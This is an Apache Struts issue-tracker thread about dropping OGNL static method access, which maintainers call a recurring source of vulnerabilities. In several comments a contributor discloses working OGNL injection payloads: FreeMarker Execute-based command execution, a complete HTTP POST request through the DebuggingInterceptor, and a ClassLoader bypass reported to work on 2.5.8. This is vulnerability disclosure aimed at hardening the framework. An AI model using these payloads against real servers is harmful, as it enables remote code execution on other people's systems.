Details

    • Type: Improvement
    • Status: Open
    • Priority: Critical
    • Resolution: Unresolved
    • Affects Version/s: 2.3.16.3
    • Fix Version/s: 2.5.x
    • Component/s: Core Actions
    • Labels:
      None

      Activity

      Hide
      victorsosa victorsosa added a comment - - edited

      This is already implemented, please check com.opensymphony.xwork2.ognl.OgnlUtil.setAllowStaticMethodAccess(String)

      you only need to set "struts.ognl.allowStaticMethodAccess" true

      <constant name="struts.ognl.allowStaticMethodAccess" value="true" />

      Show
      victorsosa victorsosa added a comment - - edited This is already implemented, please check com.opensymphony.xwork2.ognl.OgnlUtil.setAllowStaticMethodAccess(String) you only need to set "struts.ognl.allowStaticMethodAccess" true <constant name="struts.ognl.allowStaticMethodAccess" value="true" />
      Hide
      lukaszlenart Lukasz Lenart added a comment -

      Yes, the idea is to drop such functionality because it's a source of many security vulnerabilities.

      Show
      lukaszlenart Lukasz Lenart added a comment - Yes, the idea is to drop such functionality because it's a source of many security vulnerabilities.
      Hide
      victorsosa victorsosa added a comment -

      So can I just add

      <constant name="struts.ognl.allowStaticMethodAccess" value="true" />

      Into the config file so it start running the check??

      Show
      victorsosa victorsosa added a comment - So can I just add <constant name="struts.ognl.allowStaticMethodAccess" value="true" /> Into the config file so it start running the check??
      Hide
      lukaszlenart Lukasz Lenart added a comment - - edited

      Nope, by defining

      <constant name="struts.ognl.allowStaticMethodAccess" value="true" />
      

      you'll enable access to static methods, setting false it'll be disabled. But access to static methods was very often used as a hacker's attack vector on users' applications. See PoC here http://struts.apache.org/docs/s2-009.html

      Show
      lukaszlenart Lukasz Lenart added a comment - - edited Nope, by defining <constant name= "struts.ognl.allowStaticMethodAccess" value= "true" /> you'll enable access to static methods, setting false it'll be disabled. But access to static methods was very often used as a hacker's attack vector on users' applications. See PoC here http://struts.apache.org/docs/s2-009.html
      Hide
      victorsosa victorsosa added a comment -

      OK so it need to be false

      Show
      victorsosa victorsosa added a comment - OK so it need to be false
      Hide
      michakurt Michael Krause added a comment -

      Please do not 'fix' this 'bug'. Access to static methods is used in long-living enterprise applications all over the place. You will create a lot of work if you remove this feature.

      Show
      michakurt Michael Krause added a comment - Please do not 'fix' this 'bug'. Access to static methods is used in long-living enterprise applications all over the place. You will create a lot of work if you remove this feature.
      Hide
      lukaszlenart Lukasz Lenart added a comment -

      Yeah.. we know that, that's why it hangs here

      Show
      lukaszlenart Lukasz Lenart added a comment - Yeah.. we know that, that's why it hangs here
      Hide
      michakurt Michael Krause added a comment -

      Oh good, that is very reassuring. Maybe you can set the resolution to something like 'Not a problem'?

      Show
      michakurt Michael Krause added a comment - Oh good, that is very reassuring. Maybe you can set the resolution to something like 'Not a problem'?
      Hide
      lukaszlenart Lukasz Lenart added a comment -

      It's here to remind us about pass vulnerabilities around this functionality. And there is always a chance that we won't be able to fix them and the only option will be dropping it

      As for now we were good at solving the vulnerabilities and now it's safe to use it

      Show
      lukaszlenart Lukasz Lenart added a comment - It's here to remind us about pass vulnerabilities around this functionality. And there is always a chance that we won't be able to fix them and the only option will be dropping it As for now we were good at solving the vulnerabilities and now it's safe to use it
      Hide
      mwulftange Markus Wulftange added a comment -

      Disallowing static methods isn't sufficient. With access to FreeMarker's BeansWrapper instance, it is still possible to create an instance of any class.

      For example, by creating a FreeMarker Template instance which utilizes the Execute utility, it is still possible to execute arbitrary commands:

      #application["freemarker.Configuration"]["objectWrapper"].newInstance(
      	#context["com.opensymphony.xwork2.dispatcher.ServletContext"].classLoader.loadClass("freemarker.template.Template"),
      	{
      		#application["freemarker.Configuration"]["objectWrapper"].wrap(""),
      		#application["freemarker.Configuration"]["objectWrapper"].wrap("<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"xterm\")}"),
      		#application["freemarker.Configuration"]["objectWrapper"].wrap(#application["freemarker.Configuration"])
      	}
      ).process(
      	null,
      	#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter()
      )
      
      Show
      mwulftange Markus Wulftange added a comment - Disallowing static methods isn't sufficient. With access to FreeMarker's BeansWrapper instance, it is still possible to create an instance of any class. For example, by creating a FreeMarker Template instance which utilizes the Execute utility, it is still possible to execute arbitrary commands: #application["freemarker.Configuration"]["objectWrapper"].newInstance( #context["com.opensymphony.xwork2.dispatcher.ServletContext"].classLoader.loadClass("freemarker.template.Template"), { #application["freemarker.Configuration"]["objectWrapper"].wrap(""), #application["freemarker.Configuration"]["objectWrapper"].wrap("<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"xterm\")}"), #application["freemarker.Configuration"]["objectWrapper"].wrap(#application["freemarker.Configuration"]) } ).process( null, #context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter() )
      Hide
      lukaszlenart Lukasz Lenart added a comment -

      Markus Wulftange but as far I understand this must be defined as a template by developer on server side?

      Show
      lukaszlenart Lukasz Lenart added a comment - Markus Wulftange but as far I understand this must be defined as a template by developer on server side?
      Hide
      mwulftange Markus Wulftange added a comment -

      No, this can be specified where ever OGNL expressions are evaluated. For example, via the DebuggingInterceptor:

      POST /blank-1.0.0/example/HelloWorld.action HTTP/1.1
      Host: 127.0.0.1:8080
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 670
      
      debug=command&expression=%23application["freemarker.Configuration"]["objectWrapper"].newInstance(
      	%23context["com.opensymphony.xwork2.dispatcher.ServletContext"].classLoader.loadClass("freemarker.template.Template"),
      	{
      		%23application["freemarker.Configuration"]["objectWrapper"].wrap(""),
      		%23application["freemarker.Configuration"]["objectWrapper"].wrap("<%23assign+ex%3d\"freemarker.template.utility.Execute\"%3fnew()>${ex(\"xterm\")}"),
      		%23application["freemarker.Configuration"]["objectWrapper"].wrap(%23application["freemarker.Configuration"])
      	}
      ).process(
      	null,
      	%23context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter()
      )
      

      By the way, the given OGNL expression is equivalent to the following standalone code:

      new Template(
      	"",
      	"<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"xterm\")}",
      	Configuration.getDefaultConfiguration()
      ).process(
      	null,
      	new PrintWriter(System.out)
      );
      
      Show
      mwulftange Markus Wulftange added a comment - No, this can be specified where ever OGNL expressions are evaluated. For example, via the DebuggingInterceptor : POST /blank-1.0.0/example/HelloWorld.action HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 670 debug=command&expression=%23application["freemarker.Configuration"]["objectWrapper"].newInstance( %23context["com.opensymphony.xwork2.dispatcher.ServletContext"].classLoader.loadClass("freemarker.template.Template"), { %23application["freemarker.Configuration"]["objectWrapper"].wrap(""), %23application["freemarker.Configuration"]["objectWrapper"].wrap("<%23assign+ex%3d\"freemarker.template.utility.Execute\"%3fnew()>${ex(\"xterm\")}"), %23application["freemarker.Configuration"]["objectWrapper"].wrap(%23application["freemarker.Configuration"]) } ).process( null, %23context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter() ) By the way, the given OGNL expression is equivalent to the following standalone code: new Template( "", "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"xterm\")}", Configuration.getDefaultConfiguration() ).process( null, new PrintWriter(System.out) );
      Hide
      lukaszlenart Lukasz Lenart added a comment -

      Markus Wulftange but this doesn't work since Struts 2.3.20 as the new Internal Security Mechanism blocks access to particular classes, in this case to ClassLoader

      http://struts.apache.org/docs/security.html#Security-Internalsecuritymechanism

      Show
      lukaszlenart Lukasz Lenart added a comment - Markus Wulftange but this doesn't work since Struts 2.3.20 as the new Internal Security Mechanism blocks access to particular classes, in this case to ClassLoader http://struts.apache.org/docs/security.html#Security-Internalsecuritymechanism
      Hide
      mwulftange Markus Wulftange added a comment -

      Well, it works with the latest 2.5.8.

      Show
      mwulftange Markus Wulftange added a comment - Well, it works with the latest 2.5.8.
      Hide
      mwulftange Markus Wulftange added a comment -

      Here is also a ClassLoader bypass:

      #application['freemarker.Configuration']['newBuiltinClassResolver'].resolve('freemarker.template.Template',null,null)
      
      Show
      mwulftange Markus Wulftange added a comment - Here is also a ClassLoader bypass: #application['freemarker.Configuration']['newBuiltinClassResolver'].resolve('freemarker.template.Template',null,null)

        People

        • Assignee:
          Unassigned
          Reporter:
          lukaszlenart Lukasz Lenart
        • Votes:
          0 Vote for this issue
          Watchers:
          5 Start watching this issue

          Dates

          • Created:
            Updated:

            Development